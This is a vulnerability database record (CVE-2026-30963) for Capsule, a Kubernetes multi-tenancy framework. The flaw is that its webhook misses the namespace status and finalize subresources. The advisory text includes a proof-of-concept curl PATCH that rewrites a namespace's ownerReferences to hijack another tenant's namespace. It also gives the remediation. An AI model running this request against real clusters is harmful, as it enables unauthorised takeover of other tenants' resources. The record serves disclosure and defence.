{"id":"CVE-2026-30963","aliases":["CVE-2026-30963","GHSA-2ww6-hf35-mfjm","GO-2026-5043"],"related":[],"kind":"vulnerability","state":"published","title":"Capsule Namespace Hijacking via subresource","summary":"Capsule is a multi-tenancy and policy-based framework for Kubernetes. To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. Prior to version 0.13.0, the webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. Version 0.13.0 fixes the issue. Another mitigation is to add two subresources (namespaces and snamespaces/status with namespace/finalize within it) to the resources list in the ValidatingWebhookConfiguration rules.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Capsule is a multi-tenancy and policy-based framework for Kubernetes. To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. Prior to version 0.13.0, the webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking. Version 0.13.0 fixes the issue. Another mitigation is to add two subresources (namespaces and snamespaces/status with namespace/finalize within it) to the resources list in the ValidatingWebhookConfiguration rules.","source":"cvelist"},{"lang":"en","text":"### Summary\nTo defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.\n\n### Details\nWhen Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.\n\n### PoC\nOpen two terminals and create two tenants:\n```\nkubectl create -f - << EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: oil\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n\n./hack/create-user.sh alice solar\nexport KUBECONFIG=alice-solar.kubeconfig\nkubectl create namespace solar-production # alice creates the namespace\n```\n\n```\nkubectl create -f - << EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: attacker\nspec:\n  owners:\n  - name: attacker\n    kind: User\nEOF\n\n./hack/create-user.sh attacker attacker\nexport KUBECONFIG=attacker-attacker.kubeconfig\n```\n\nWhen the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:\n```\nkubectl create clusterrole status --verb=patch --resource=namespaces/status\nkubectl create clusterrolebinding status --clusterrole=status --user=attacker\n```\nThe attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:\n```\ncurl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \\\n--header 'Content-Type: application/json-patch+json' \\\n--data '[\n    {\n      \"op\": \"replace\",\n      \"path\": \"/metadata/ownerReferences\",\n      \"value\": [\n        {\n          \"apiVersion\": \"capsule.clastix.io/v1beta2\",\n            \"kind\": \"Tenant\",\n            \"name\": \"attacker\",\n            \"uid\": \"1fcb9c9b-b552-4974-a248-32be66a2188c\"\n        }\n      ]\n    }\n  ]'\n```\n\n### Impact\nhijack namespace\n\n### Remediation\nTo mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:\n```\n    resources:\n    - namespaces\n    - namespaces/status\n\t- namespace/finalize\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"Capsule Namespace Hijacking via subresource in github.com/projectcapsule/capsule","format":"markdown","source":"go"},{"lang":"es","text":"Capsule es un framework multi-inquilino y basado en políticas para Kubernetes. Para defenderse contra el secuestro de espacios de nombres logrado a través de operaciones de actualización/parche en los espacios de nombres, Capsule utiliza un webhook para validar las solicitudes de actualización dirigidas a los espacios de nombres. Sin embargo, en Kubernetes, las API de subrecursos namespace/finalize y namespace/status también pueden modificar varios campos de un espacio de nombres, incluido el campo de metadatos. Antes de la versión 0.13.0, el webhook no define reglas de intercepción para estos subrecursos. Como resultado, si un administrador de inquilinos tiene permiso para modificar namespace/status o namespace/finalize, puede realizar con éxito el secuestro de espacios de nombres. La versión 0.13.0 corrige el problema. Otra mitigación es añadir dos subrecursos (namespaces y snamespaces/status con namespace/finalize dentro de él) a la lista de recursos en las reglas de ValidatingWebhookConfiguration.","source":"nvd"}],"published":"2026-05-28T17:01:41.000Z","modified":"2026-07-22T07:10:00.107Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L","score":3.9,"rating":"LOW"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L","score":3.9,"rating":"LOW"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L","score":3.9,"rating":"LOW"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N","score":2.7,"rating":"LOW"}],"cwes":["CWE-20"],"affected":[{"ranges":[{"version":"< 0.13.0","status":"affected"}],"vendor":"projectcapsule","product":"capsule","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.13.0"}],"ecosystem":"Go","package":"github.com/projectcapsule/capsule","purl":"pkg:golang/github.com/projectcapsule/capsule","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.13.0"}],"ecosystem":"Go","package":"github.com/projectcapsule/capsule","purl":"pkg:golang/github.com/projectcapsule/capsule","source":"go"},{"ranges":[{"status":"affected","fixed":"0.13.0"}],"vendor":"projectcapsule","product":"capsule","cpe":"cpe:2.3:a:projectcapsule:capsule:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/projectcapsule/capsule/releases/tag/v0.13.0","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30963","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/projectcapsule/capsule","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-06-02T14:04:59.231Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-30963","url":"https://www.cve.org/CVERecord?id=CVE-2026-30963","licence":"CVE Terms of Use","modified":"2026-06-02T14:06:11.444Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2ww6-hf35-mfjm","url":"https://github.com/advisories/GHSA-2ww6-hf35-mfjm","licence":"CC-BY-4.0","modified":"2026-06-17T00:26:27.251Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5043","url":"https://pkg.go.dev/vuln/GO-2026-5043","licence":"CC-BY-4.0","modified":"2026-06-17T00:15:12.917Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-30963","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30963","licence":"Public domain","modified":"2026-07-22T07:10:00.107Z"}],"updatedAt":"2026-11-25T22:59:23.473Z","epss":{"score":0.00219,"percentile":0.13119,"date":"2026-12-01T12:00:22.000Z"}}